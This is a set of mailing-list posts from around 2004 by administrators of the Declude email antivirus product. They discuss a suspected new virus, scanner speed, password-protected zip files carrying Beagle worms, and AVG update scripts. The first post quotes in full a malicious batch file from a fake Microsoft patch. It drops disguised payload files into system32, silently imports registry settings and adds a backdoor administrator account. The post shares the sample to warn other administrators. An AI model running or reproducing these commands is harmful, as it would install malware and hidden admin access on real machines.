[Declude.Virus] New virus?
I've just received a fake microsoft email with a 744kb patch attached. It was not detected by my Norton, not by F-Prot, nor AVG or McAffee. In this patch it has a start batch file which does this: @echo off copy _sys1.cab %windir%\system32\raddrv.dll cls copy _user1.cab %windir%\system32\admdll.dll cls copy data1.cab %windir%\system32\cmdll32.exe cls copy layout.bin %windir%\system32\settings.reg cls copy MSCOMCTL.OCX %windir%\system32\MSCOMCTL.OCX cls regedit.exe /s %windir%\system32\settings.reg net user system_support {u-r-fucked} /ADD /ACTIVE:YES /EXPIRES:NEVER /TIMES:ALL net localgroup "Administrators" "system_support" /ADD cls UPDATE.EXE cls exit I've attached the email without the virus so you can have a look at it.

[Declude.Virus] Dangerous img dynsrc tag in body

Re: [Declude.Virus] Faster second scanner needed
My AV scanners are running a bit slower than yours because the server is not very new and fancy and we do not have that much traffic: PIII 666 256MB Ram IDE Raid1 with old 2x30GB HD (2-3years old) I guess with Raid10, new HD, dual P4 and more ram this would speed it up 10x. Anyway, the proportions in the time consumption should be similar.

I'm not sure if the F-Prot being 16 bit had all that much effect, but one would expect for it to be slower than the 32 bit version. On my system, F-Prot can detect a virus in about 0.1 seconds, and the 32-bit version of AVG takes about 0.4 seconds (standard 30 KB Netsky/Bagle variants during low load).Note that most of the delay with AVG in 16-bit mode is that it runs within NTVDM. This goes away when you switch to the 32-bit version 7 which now supports the error codes that Declude uses. The switch though didn't seem to do much to the processor utilization, however the wider window does keep more concurrent processes open at the same time and that isn't optimal.Thanks,MattAdrian Hauri wrote: AVG takes about 4 seconds to fire up the AV Engine and scan.

F-Prot is 4 times faster, and maybe more efficient than that when it comes to processor utilization. Outside of efficiency, AVG has proven to be a good second scanner, and this should only be an issue if you are approaching the capacity of your environment. With AVG commented out and only F-Prot running, the peaks are much shorter and much lower, but I can ride 100% for over 5 seconds several times a minute during rush hours with both scanners enabled. Everything that I've read about Kaspersky seems to indicate that they are the fastest at detecting new viruses, but their "File Server" edition costs $370 retail, and 70% of that yearly. I suppose that I might be able to find this much cheaper through a wholesaleing source. My main concern though is efficiency, and I would take an average scanner if it was the most efficient over the best scanner if it was average in terms of efficiency. If anyone has some first hand knowledge concerning efficiency of any of the scanners, please let me know. I believe this can be tracked by doing the following if you use F-Prot as one of two or more scanners: 1) Change to LOGLEVEL DEBUG in your Virus.config 2) Wait for three viruses to be blocked (not 1K ECAIR tests, the real deal). 3) Change your LOGLEVEL back to it's normal setting. 4) Compare the times logged for each scanner (you can post them here or E-mail them to me and I would be happy to decipher) I would imagine that with most 32 bit scanners, the difference in time will be directly related to the processing power required to run the scanner, or at least that holds true for the comp

Re: [Declude.Virus] W32.Beagle.J@mm cannot be caught
Please read the old posts about this problem. Short Summary: Antivirus programs and declude can't open password protected zip files (F-Prot, McAfee, AVG) unless they try to find a password within the email and use this to unlock the zip file (Kapersky). Some Virus scanners block password protected zip files in general and declare them as a Virus (Symantec/Norton AV) even they couldn't scan within the zip file. Scott added the feature BANEXT EZIP in the interim release >= i8 to block all password protected zip files on the server with declude. Interim release http://www.declude.com/interim . (I would recommend you to install a second AV because it took F-Prot too long to update their definitions the last few month) Adrian - - Original Message - From: "terry ip" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Wednesday, March 10, 2004 12:43 PM Subject: [Declude.Virus] [EMAIL PROTECTED] cannot be caught > Hi All, > > Desktop Norton caught but declude didn't.

[Declude.Virus] Does anyone have a AVG V6.0 Update script?
Has anyone an AVG V6.0 update script that can be run as a batch file? There is a V7.0 batch file available which doesn't work for version 6.0 . I would like to update AVG V6.0 several times a day. The built-in updater and scheduler is crap and doesn't work when you are not logged in. Also it can run just once within 24h. Thanks for your help. Adrian
